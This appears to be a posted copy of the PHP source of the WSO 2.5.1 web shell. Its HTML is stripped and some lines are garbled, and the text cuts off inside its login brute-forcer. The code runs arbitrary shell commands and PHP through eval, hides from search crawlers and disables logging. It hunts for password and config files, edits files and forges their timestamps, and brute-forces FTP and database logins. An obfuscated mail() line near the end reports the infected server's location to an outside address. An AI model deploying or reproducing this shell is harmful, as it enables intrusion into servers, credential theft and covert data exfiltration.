Username Password
register
';

$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '[ '.$drive.' ] ';
}
echo '
dr
20/8/2014 14:44
Posted by baconheist
Add comment

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
die("
Password:
");
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find suid" => "find / -type f -perm -04000 -ls",
"find suid in current dir" => "find . -type f -perm -04000 -ls",
"find sgid" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php" => "find / -type f -name config.inc.php",
"find config*" => "find / -type f -name "config*"",
"find config* in current dir" => "find . -type f -name "config*"",
"find writable folders and files" => "find / -perm -2 -ls",
"find writable folders and files in current dir" => "find . -perm -2 -ls",
"find service.pwd" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find .htpasswd" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find .bash_history" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find .fetchmailrc" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf" => "locate httpd.conf",
"locate vhosts.conf" => "locate vhosts.conf",
"locate proftpd.conf" => "locate proftpd.conf",
"locate psybnc.conf" => "locate psybnc.conf",
"locate my.conf" => "locate my.conf",
"locate admin.php" =>"locate admin.php",
"locate cfg.php" => "locate cfg.php",
"locate conf.php" => "locate conf.php",
"locate config.dat" => "locate config.dat",
"locate config.php" => "locate config.php",
"locate config.inc" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php" => "locate config.default.php",
"locate config*" => "locate config",
"locate .conf"=>"locate '.conf'",
"locate .pwd" => "locate '.pwd'",
"locate .sql" => "locate '.sql'",
"locate .htpasswd" => "locate '.htpasswd'",
"locate .bash_history" => "locate '.bash_history'",
"locate .mysql_history" => "locate '.mysql_history'",
"locate .fetchmailrc" => "locate '.fetchmailrc'",
"locate backup" => "locate backup",
"locate dump" => "locate dump",
"locate priv" => "locate priv"
);

function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."










";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}

$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= " $cwd_links .= "")'>".$path[$i]."/";
}

$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '';

$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '
[ '.$k.' ]
'
. ''
. '
Uname:
User:
Php:
Hdd:
Cwd:' . ($GLOBALS['os'] == 'win'?'
Drives:':'') . '
' . substr(@php_uname(), 0, 120) . ' [exploit-db.com]
' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )
' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF')
. ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . '
' . wsoViewSize($totalSpace) . ' Free: ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)
' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' [ home ]
' . $drives . '

Server IP:
' . @$_SERVER["SERVER_ADDR"] . '
Client IP:
' . $_SERVER['REMOTE_ADDR'] . '
'
. '' . $menu . '
';
}

function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)";
echo "











Change dir:
Read file:
Make dir:$is_writable
Make file:$is_writable
Execute:





Upload file:$is_writable

";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}

function wsoViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);

if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}

function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}

function wsoPermsColor($f) {
if (!@is_readable($f))
return '' . wsoPerms(@fileperms($f)) . '';
elseif (!@is_writable($f))
return '' . wsoPerms(@fileperms($f)) . '';
else
return '' . wsoPerms(@fileperms($f)) . '';
}

function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}

function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}

function actionSecInfo() {
wsoHeader();
echo '

Server security information

';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '' . $n . ': ';
if(strpos($v, "n") === false)
echo $v . '
';
else
echo '
' . $v . '
';
}
}

wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '
';

if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '
';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '
';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '
posix_getpwuid ("Read" /etc/passwd)
From
To
';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."n";
}
echo '
';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '
';
wsoFooter();
}

function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "nrt\'") . "';n";
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '

PHP info

';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('
';
}
echo '

Execution PHP-code

';
echo ' send using AJAX
';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '
';
wsoFooter();
}

function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);

if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create!";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '

File manager

';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can't open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "

";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '';
$l = $l?0:1;
}
echo "
NameSizeModifyOwner/GroupPermissionsActions
'.htmlspecialchars($f['name']):'g('FilesMan',''.$f['path'].'');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . ' ]').''.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms']
.'
R T'.(($f['type']=='file')?' E D':'').'




 ";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name:  ";
echo "
";
wsoFooter();
}

function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i $stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"nrt\'")."';n";
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '

String conversions

';
echo "
send using AJAX
";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"

Search files:







Text:
Path:
Name:
";

function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "".htmlspecialchars($item)."
";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "

Search for hash:












";
wsoFooter();
}

function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '

File tools

';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' Permission: '.wsoPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
echo 'Change time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
echo '

';
switch($_POST['p2']) {
case 'view':
echo '
';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '
';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '
';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array(''), array(''),$code).'
';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can't set permissions!
';
}
clearstatcache();
echo '
';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn't writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!
';
@touch($_POST['p1'],$time,$time);
}
}
echo '
';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000
','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
$h[1] .= '
';
$h[2] .= "n";
}
}
echo '
'.$h[0].'
'.$h[1].'
'.htmlspecialchars($h[2]).'
';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can't rename!
';
else
die('');
}
echo '
';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '
';
break;
}
echo '
';
wsoFooter();
}

function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';n";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt\'"));
if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "";
echo '

Console

send using AJAX redirect stderr to stdout (2>&1)
$
';
echo '
';
wsoFooter();
}

function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}

function actionSelfRemove() {

if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
die('Shell removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '

Suicide

remove the shell?
Yes
';
wsoFooter();
}
$_QliO8="x6dai154";$_Qliot=$_SERVER["x53x45RVE122_x4eAMx45"].$_SERVER["123103x52Ix50x54_116101115E"];$_QlL1i="141r162a17140".$_Qliot;$_QlLio=array("143x61","x6cx69","146x77162151x74x65","100","vx65x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '

Results

Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
if( $_POST['proto'] == 'ftp' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
